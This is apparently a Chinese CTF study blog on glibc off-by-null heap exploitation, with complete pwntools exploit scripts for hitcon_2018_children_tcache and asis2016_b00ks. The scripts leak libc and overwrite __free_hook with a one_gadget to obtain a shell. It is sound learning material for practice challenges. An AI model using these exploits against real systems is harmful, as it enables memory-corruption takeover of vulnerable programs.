0%

off-by-null学习笔记

[TOC]

前置知识

利用思路

在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。

  1. 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。
  2. 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

利用过程

首先我们要用到四个chunk

chunk 0#merged chunk     (不能让这个堆块在fastbin或是tcachebin中)
chunk 1#overflow chunk&&spy chunk
chunk 2#merge chunk (不能让这个堆块在fastbin或是tcachebin中)
chunk 3#prevent merge chunk #防止和top chunk合并

这四个堆块对应的名字我也做了标注

1、先将这四个chunk都申请出来,注意merged chunk和merge chunk的大小,不能让他们在tcachebin或者fastbin中(不然就无法合并了),同时还要考虑overflow chunk的大小,因为要产生off by null,所以它的大小应该为八字节结尾(例如0x58,0x68,0x78···),然后释放掉merged chunk,为了保证接下来的合并可以顺利进行

2、接着编辑 overflow chunk,让他产生off by null漏洞溢出空字节到merge chunk的prev inuse位,同时把merge chunk的prev inuse位给改了(其大小要保证当前地址减去这个prev size正好能找到merged chunk(如果程序中没有编辑功能,那就将overflow chunk free掉,再申请回来写入数据造成溢出)。

3、然后释放掉merge chunk,此时检测到自身的prev inuse位是0,触发向前合并(先会触发向后合并,不过只要后面的那个chunk不是Top chunk就不会合并)(我个人习惯将向低地址合并称为向前合并)

4、最终由于merge chunk合并时直接找到了merged chunk,因此这二者之间的所有区域都处于了free状态,但是这二者之间其实还有一个spy_chunk(我把它叫做间谍堆块,因为它没有被free掉却处于了free的合并区域)

剩下的就具体题目具体分析吧,反正接下来的利用就是要配合spy_chunk的特性(它的特性就是它出在free的区域,但是自己是没有被free掉的,然后就可以打double free、堆块重叠等等)

为什么要利用off by null让chunk的prev inuse位成0?

因为当前chunk的prev inuse位决定了上个堆块是否处于free状态,这也就决定着是否能够向前合并(我个人习惯将向低地址合并称为向前合并)。我们确实释放了上个堆块,但是改变的是spy_chunk的prev inuse位,不过我们现在想忽略这个spy_chunk,因此要将当前chunk的prev_size位伪造成0,来保证之后的向前合并可以正常进行。

hitcon_2018_children_tcache

总结

利用知识

  1. **prev_inuse**:是一个标志位,用于指示前一个_chunk_是否已经被分配。如果_prev_inuse_为1,则表示前一个_chunk_已被分配;反之,则是空闲的。_prev_inuse_可能会被编码在_prev_size_的某个位上,如最低位。
  2. 对于_smalls bin_,_large bins_,_unsorted bin_这三类_bin_,任意两个物理相邻的空闲_chunk_不能在一起,因为会被合并

思路

整体思路如下:

  1. 利用_off-by-null_,使_chunk_的_prev_inuse_位为0,合并_chunk_,泄漏_libc_
  2. 利用_double free_,覆盖___free_hook_里的地址为_one_gadget_地址

exp

from tools import *
# p,e,libc = load('./a')
p = remote("node5.buuoj.cn",27393)
debug(p,'pie',0x1029)#0x101D,0x1035,
# context.log_level='debug'
libc = ELF("./libc-2.27.so")

def add(size,content):
p.sendlineafter("Your choice: ",str(1))
p.sendlineafter("Size:",str(size))
p.sendlineafter("Data:",content)
def delete(index):
p.sendlineafter("Your choice: ",str(3))
p.sendlineafter("Index:",str(index))
def show(index):
p.sendlineafter("Your choice: ",str(2))
p.sendlineafter("Index:",str(index))
add(0x4f0,'a'*8)
add(0x48,'b'*8)
add(0x4f0,'c'*8)
add(0x10,'d'*8)

delete(0)
delete(1)
add(0x48,'e'*0x48)
delete(0)
for i in range(8):
add((0x47-i),'f'*(0x47-i))
delete(0)
payload = b'g'*0x40+p64(0x550)
add(0x48,payload)
delete(2)
add(0x4f0,'aaaa')
show(0)
libc_base = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-0x3ebca0
log_addr("libc_base")

free_hook = libc_base+libc.sym['__free_hook']
log_addr("free_hook")
one_gadget = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base+one_gadget[2]
add(0x50,b'h'*8)
delete(0)
delete(2)
add(0x50,p64(free_hook))
add(0x50,b'i'*8)
add(0x50,p64(one_gadget))
delete(0)

p.interactive()

asis2016_b00ks

代码审计

程序中有一个结构体,_book_struct_结构体如下,

struct info
{
int id;
void *book_name;
void *description;
int description_size;
}

​ 程序中的bss_0x202040处存储着_author_name_,大小为0x20个字节。从bss_0x202060处开始,存储着指向book_struct结构体的_hook_。我们每_add_一次,会创建3个_chunk_,前两个_chunk_用来存放_book_name_和_description_。第三个_chunk_的大小固定为0x30user_data_的顺序依次为_id_,*book_name_(即_chunk1_的_user_data_的地址),_*description_(即_chunk2_的_user_data_的地址),_description_size_。

image-20240719154331012

思路

泄漏_book_struct_地址

​ 由于0x20个字节的_author name_后面,紧接着就是_book_struct_的地址。所以我们直接填满这0x20个字节,然后再_show_打印出来的_author_自然就会把后面的内容带出来。

p.recvuntil('Enter author name: ')
p.sendline('a'*0x20)
add(0xd0,'a'*8,0x40,b'b'*8)
#使被\x00覆盖后的book_struct1的地址,是chunk_des1的user_data的首地址。具体的size和偏移自己计算
add(0x10,'c'*8,0x21000,'d'*8)
show()
p.recvuntil("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
book1_struct_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))#-0x21e81a0
log_addr("book1_struct_addr")

泄漏_libc_

​ 本题的漏洞点是_off-by-null_,会使_author name_的后一个数据的最后一个字节为\x00,如图

image-20240720092942858

​ 此时,0x55eae550f100是_book_struct1_的地址,如果我们提前在_chunk_des1_里构造一个_fake_struct_,那么溢出_null_后,该_fake_struct_就会变成_id_为1的_book_struct_(因为到底谁是_book_struct_是由bss_0x202060处的数据决定的)。然后也能打印出_fake_struct_中的_*book_des_指向的内容,而_fake_struct_中的_*book_des_是由我们自己输入的,所以也就实现了任意地址泄漏。

​ 接下来,我们该到哪里去找一个_libc_地址来泄漏呢?并且这个_libc_地址的指针还要能通过_book_struct_地址计算偏移量得到。

​ 我们可以==申请一个超大的_chunk_用来存储_book_des2_,然后_mmap_内存后,_*book_des2_就会是一个_libc_地址==。然后把存储_*book_des2_的地址布置到_fake_struct_中即可。

payload = p64(1)+p64(0)+p64(book1_struct_addr+0x60)+p64(0x100)
edit(1,payload)
change_name('A'*0x20)
show()
p.recvuntil("Description: ")
libc_base = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-0x5ca010
log_addr("libc_base")

覆盖**__free_hook**

free_hook = libc_base+libc.sym['__free_hook']
log_addr("free_hook")
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+one_gadget[1]
payload = p64(free_hook)+p64(0x100)
edit(1,payload)
edit(2,p64(one_gadget))
delete(2)

exp

只能通本地,远程通不了

from tools import *
p,e,libc = load('./a')
# p = remote("node5.buuoj.cn",25219)
debug(p,'pie',0x1297,0x128B)
# context.log_level='debug'
# libc = ELF("./libc-2.23.so")

def add(name_size,name,description_size,description):
p.sendlineafter("> ",str(1))
p.sendlineafter("Enter book name size: ",str(name_size))
p.sendlineafter("Enter book name (Max 32 chars): ",name)
p.sendlineafter("Enter book description size: ",str(description_size))
p.sendlineafter("Enter book description: ",description)
def delete(index):
p.sendlineafter("> ",str(2))
p.sendlineafter("Enter the book id you want to delete: ",str(index))
def edit(index,description):
p.sendlineafter("> ",str(3))
p.sendlineafter("Enter the book id you want to edit: ",str(index))
p.sendlineafter("Enter new book description: ",description)
def show():
p.sendlineafter("> ",str(4))
def change_name(description):
p.sendlineafter("> ",str(5))
p.sendlineafter("Enter author name: ",description)

p.recvuntil('Enter author name: ')
p.sendline('a'*0x20)
add(0xd0,'a'*8,0x40,b'b'*8)
add(0x10,'c'*8,0x21000,'d'*8)
show()
p.recvuntil("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
book1_struct_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))#-0x21e81a0
log_addr("book1_struct_addr")

payload = p64(1)+p64(0)+p64(book1_struct_addr+0x60)+p64(0x100)
edit(1,payload)
change_name('A'*0x20)
show()
p.recvuntil("Description: ")
libc_base = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-0x5ca010
log_addr("libc_base")

free_hook = libc_base+libc.sym['__free_hook']
log_addr("free_hook")
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+one_gadget[1]
payload = p64(free_hook)+p64(0x100)
edit(1,payload)
edit(2,p64(one_gadget))
delete(2)
p.interactive()

roarctf_2019_easy_pwn

npuctf_2020_easyheap

学习与收获

  1. 当不能改写_got_表时,可以覆盖__free_hook里的数据为后门地址。
  2. 泄漏_libc_的一种方法:如果要申请一个较大的_chunk_,_mmap_内存后,这个_chunk_的地址是一个_libc_地址。